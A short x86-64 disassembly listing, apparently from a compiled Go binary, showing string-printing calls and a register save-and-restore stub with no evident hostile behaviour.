call fcn.00457200
lea rax, [0x00507bea]
mov ebx, 0x29
call fcn.00431160
lea rax, [0x00507bc1]
mov ebx, 0x29
call fcn.00431160
mov rax, rsi
mov ecx, 0x40
call fcn.00457220
lea rax, [0x00506cff]
mov ebx, 0x23
call fcn.00431160
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov byte [rsp + 0x18], cl
nop dword [rax]
call fcn.00454b20
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
movzx ecx, byte [rsp + 0x18]
jmp fcn.00423e40